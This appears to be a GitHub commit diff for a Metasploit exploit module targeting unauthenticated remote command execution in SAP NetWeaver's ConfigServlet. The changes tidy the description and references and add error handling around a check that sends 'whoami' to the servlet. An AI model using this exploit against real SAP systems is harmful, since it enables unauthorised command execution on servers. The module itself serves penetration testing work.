Skip to content

Commit 99b4620

Browse files
author
jvazquez-r7
committed
Do final cleanup for sap_configservlet_exec_noauth
1 parent 308b880 commit 99b4620

File tree

1 file changed

+10
-6
lines changed

1 file changed

+10
-6
lines changed

modules/exploits/windows/http/sap_configservlet_exec_noauth.rb

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,9 @@ def initialize(info = {})
1818
super(update_info(info,
1919
'Name' => 'SAP ConfigServlet Remote Code Execution',
2020
'Description' => %q{
21-
This module allows remote code execution via operating system commands through
22-
the SAP ConfigServlet without any authentication.
23-
This module has been tested successfully with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2
21+
This module allows remote code execution via operating system commands through the
22+
SAP ConfigServlet without any authentication. This module has been tested successfully
23+
with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.
2424
},
2525
'Author' =>
2626
[
@@ -30,9 +30,9 @@ def initialize(info = {})
3030
'License' => MSF_LICENSE,
3131
'References' =>
3232
[
33-
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
3433
[ 'OSVDB', '92704'],
35-
[ 'EDB', '24996']
34+
[ 'EDB', '24996'],
35+
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
3636
],
3737
'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
3838
'Platform' => 'win',
@@ -63,7 +63,11 @@ def initialize(info = {})
6363

6464
def check
6565
uri = normalize_uri(target_uri.path, 'ConfigServlet')
66-
res = send_evil_request(uri, "whoami", 20)
66+
begin
67+
res = send_evil_request(uri, "whoami", 20)
68+
rescue
69+
Exploit::CheckCode::Unknown
70+
end
6771
if !res
6872
Exploit::CheckCode::Unknown
6973
elsif res.body.include?("Process created")

0 commit comments

Comments
 (0)